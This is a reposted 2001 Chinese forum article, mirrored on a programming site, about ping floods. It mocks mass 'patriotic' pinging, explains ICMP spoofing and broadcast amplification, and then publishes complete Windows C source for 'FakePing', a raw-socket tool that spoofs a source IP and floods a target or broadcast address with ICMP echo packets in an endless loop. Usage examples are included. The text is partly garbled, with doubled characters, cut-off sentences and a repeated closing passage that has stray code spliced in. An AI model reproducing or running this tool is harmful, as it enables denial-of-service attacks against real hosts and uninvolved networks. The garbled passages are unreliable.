1. 程式人生 > >ping flood攻擊(轉載)

ping flood攻擊(轉載)

發信站: BBS 水木清華站 (Fri May 11 22:26:59 2001)

作者: shotgun

最近不少人又來號召大家一起去Ping死什麼什麼網站,政治我不懂,不過從技術上來說,無無論什麼拒絕服務攻擊方式,都需要滿足一個條件:用最少的資源換取被攻擊者最大的消耗。像這樣大家一起去Ping不僅是奇怪的:用最大的資源換取對方最小?

傷害;也是可笑的:人民戰爭大概屬於

50多年前的行為了,在網際網路時代,並不是人多就能如何如何的。

一個基本的認識:網際網路的中心在美國,中國的這一部分只不過是網際網路的一個小小分支((也就是相當於美國的一個都會網路的概念),我們通往北美的光纜稱為“北美出口”,出口什麼意思?大門呀,換句話說,也就是瓶頸,這樣大家Ping來Ping去?

首先死的是中國的出口閘道器(中國的北

美出口頻寬也不過是GB級的,很寬麼?經得住大家一起往外擠麼?),當然,北美出口歇掉掉了,我們顯然是看不見美國網站了,喜歡做阿Q的不妨對自己和別人說:“美國被我們炸掉了!”(奇怪吧?可是前些時候不是有自己炮製白宮“被黑”頁面到

 散發的?)可是這樣不如我們關掉國門

、斷開網際網路,自己在家裡做強國夢好了,想象中我們仍然是在強大的唐朝,世界各地都來來朝拜?

閒話少說,我們今天是來說Ping的,Ping是通過傳送ICMP報文(型別8程式碼0)探尋網路主機是是否存在的一個工具,很久以前,一部分作業系統(例如win95),不能很好處理過大的Ping包,導致出現了Ping to

Death的攻擊方式(用大Ping包搞垮對方或者塞滿網路),隨著作業系統的升級,網路頻寬檔 升級、計算機硬體的升級,目前,大Ping包基本上沒有很大的攻擊效果(分散式攻擊除外),如果一定要使用Ping包去攻擊別的主機,除非是利用TCP/IP協議?

 其他特性或者網路拓撲結構的缺陷放

大攻擊的力度(所謂正反饋)

正常情況下,Ping的流程是這樣的:

主機A傳送ICMP 8,0報文給主機B

     偽裝為主機C 錯誤的回覆

主機A--------------------->主機B------------------>主機C

這種情況下,由於主機A只需要不斷髮送Ping報文而不需要處理返回的EchoReply,所以攻擊擊力度成倍的增加,同時實際上主機B和主機C都是被進攻的目標,而?

不會留下自己的痕跡,是一種隱蔽的一石二鳥的攻擊方法。

上面的方法用SOCK_RAW偽裝IP就可以輕鬆實現,不過即使放大了兩倍,對於比較強壯的操作作系統和較大的頻寬,也不見得有多大的效果,難道我們又來組織運動?不好吧,還是讓敵人給我們放大好了,TCP/IP中有一個概念叫做廣播,所謂廣播的意思?

會接收發往這個地址的報文(就像電臺廣播一樣),要是?難道?沒錯!如果我們往廣播地地址傳送一個ICMP

ECHO報文(就是Ping廣播地址一下),結果會得到非常多的迴應,乙太網內每一個允許接收收廣播報文的主機都會迴應一個ICMP_ECHOREPLY,如果你想試驗,可以在unix的機器上Ping一下你區域網的廣播地址,會看到很多回應的的dup包,就是重複的應

因為微軟的Ping程式不對多個迴應進行解包,收到第一個包以後就丟棄後面的了,同樣微軟軟的系統預設也不迴應廣播地址的包,所以你最好在一個大量unix主機的區域網內測試?

說到這裡,聰明的你肯定知道我想幹什麼了吧?嘿嘿嘿嘿,沒錯,當我們偽裝成被攻擊主機機向一個廣播地址傳送Ping請求的時候,所有這個廣播地址內的主機都會迴應這個Ping請求(當然是迴應給被攻擊主機啦,人人都以為是它Ping的呢),這樣,?

內迴應Ping包的主機數量)

[PacketSize],如果TargetIP是廣播地址,那麼FakeIP是被攻擊目標.

原始碼公佈如下:(寫的比較匆忙,程式碼比較亂,見笑了) */

//////////////////////////////////////////////////////////////////////////

//                                   //

//   FakePing For Win2K by Shotgun                  //

//                                   //

//   Released:    [2001.4]                    //

//   Author:     [Shotgun]                    //

//   Homepage:                            //

//                                   //

//////////////////////////////////////////////////////////////////////////

#include <winsock2.h>

#include <Ws2tcpip.h>

#include <stdio.h>

#include <stdlib.h>

#define SEQ 0x28376839

#define STATUS_FAILED 0xFFFF file://錯誤返回值

typedef struct _iphdr file://定義IP首部

{

unsigned char h_verlen; file://4位首部長度,4位IP版本號

unsigned char tos; file://8位服務型別TOS

unsigned short total_len; file://16位總長度(位元組)

unsigned short ident; file://16位標識
unsigned short frag_and_flags; file://3位標誌位
unsigned char ttl;  file://8位生存時間 TTL

unsigned char proto; file://8位協議 (TCP, UDP 或其他)

unsigned short checksum; file://16位IP首部校驗和

unsigned int sourceIP; file://32位源IP地址

unsigned int destIP; file://32位目的IP地址

}IP_HEADER;

//

// 定義ICMP首部

typedef struct _ihdr

{

BYTE i_type; file://8位型別

BYTE i_code; file://8位程式碼

USHORT i_cksum; file://16位校驗和

USHORT i_id; file://識別號(一般用程序號作為識別號)

USHORT i_seq; file://報文序列號

ULONG timestamp; file://時間戳

}ICMP_HEADER;

USHORT checksum(USHORT *buffer, int size)

{
  unsigned long cksum=0;
  while(size >1) {
   cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) {

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

int main(int argc, char **argv)

{

int datasize,ErrorCode,counter,flag;

int TimeOut=2000, SendSEQ=0, PacketSize=32;

char SendBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

ICMP_HEADER icmp_header;

char FakeSourceIp[20],DestIp[20];

if (argc<3)

{

printf("FakePing by Shotgun/n");

printf("/tThis program can do Ping-Flooding from a FakeIP/n");

printf("/tUsing a BroadCast IP as the FakeIP will enhance the effect/n");

printf("Email:/n");

printf("HomePage:/n");

printf("/thttp://It.Xici.Net/n");

printf("/thttp://www.Patching.Net/n");

printf("USAGE:/n/tFakePing.exe FakeSourceIp DestinationIp [PacketSize]/n");

printf("Example:/n");

printf("/tFakePing.exe 192.168.15.23 192.168.15.255/n");

printf("/tFakePing.exe 192.168.15.23 192.168.15.200 6400/n");

exit(0);

}

strcpy(FakeSourceIp,argv[1]);

strcpy(DestIp,argv[2]);

if (argc>3) PacketSize=atoi(argv[3]);

if (PacketSize>60000)

{

printf("Error! Packet size too big, must <60K/n");

exit(0);

}

printf("Now Fake %s Ping %s using Packet size=%d bytes/n",

FakeSourceIp, DestIp, PacketSize);

printf("/tCtrl+C to Quit/n");

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)

{

fprintf(stderr,"WSAStartup failed: %d/n",ErrorCode);

ExitProcess(STATUS_FAILED);

}

  if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

{

fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;

file://設置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if(ErrorCode==SOCKET_ERROR)

printf("Set IP_HDRINCL Error!/n");

__try{

file://設置傳送超時
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if (ErrorCode==SOCKET_ERROR)

{

fprintf(stderr,"Failed to set send TimeOut: %d/n",WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(DestIp);

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); file://高四位IP鞍 本號,?四位首部長度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); file://16位總長度((位元組?

ip_header.ident=1;

ip_header.frag_and_flags=0;

ip_header.ttl=128;

ip_header.proto=IPPROTO_ICMP;

file://8位協議 (TCP, UDP 或其他)

ip_header.checksum=0;

ip_header.sourceIP=inet_addr(FakeSourceIp); file://32

ip_header.destIP=inet_addr(DestIp);

icmp_header.i_type = 8;

icmp_header.i_code = 0;

icmp_header.i_cksum = 0;

icmp_header.i_id = 2;

icmp_header.timestamp = 999;

icmp_header.i_seq=999;

memcpy(SendBuf, &icmp_header, sizeof(icmp_header));

memset(SendBuf+sizeof(icmp_header), 'E', PacketSize);

icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize);

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));

memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize);

memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1);

datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

memcpy(SendBuf,&ip_header, sizeof(ip_header));

while(1)

{

Sleep(100);

printf(".");

for(counter=0;counter<1024;counter++)

{

ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf("/nSend Error:%d/n",GetLastError());

}

}

}//End of try

 __finally {

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

WSACleanup();

}

return 0;

}
/*
 

結語:

愛國主義是必要的,熱情是不可少的,但是技術這個東西來不得半點虛假,來不得半點衝動動,是要靠老老實實慢慢鑽研的,FakePing技術在網際網路上不是什麼新技術,很久以前被我們唾棄攻擊的美國人就實現過了,難道我們現在還要去組織多少萬人?

依靠智慧和知識的阿基米德,曾經用鏡子保護了自己的家園,難道我們現在還要靠衝動和盲盲目去強國富民麼?

少點衝動和盲目,多點扎實和刻苦,否則吃苦的還是自己。

 Patching Heroes...... 

中華補天

依靠智慧和知識的阿基米德,曾經用鏡子保護了自己的家園,難道我們現在還要靠衝動和盲DestAddr));

少點衝動和盲目,多點扎實和刻苦,否則吃苦的還是自己。

 Patching Heroes...... 

中華補天

補充日期: 2001-05-06 11:16:07

撰寫本文的目的不是號召大家用FakePing工具去攻擊美國站點,只是想略微展示一下用技術術能做到什麼?

如果說大家一起Ping是義和團喊著“刀槍不入”去對抗大炮,FakePing也只能算得上是火槍槍而已,而美國已經研製出了航空母艦(作業系統),難道用大刀、長槍、火槍去對 購僥福

這樣是很悲壯,但是沒有別的方法了?我們不能回去研製自己的戰列艦?

要是二炮的專家們也出來參加Ping, 要是西昌的技術人員也去搞運動,我們不亡國才怪!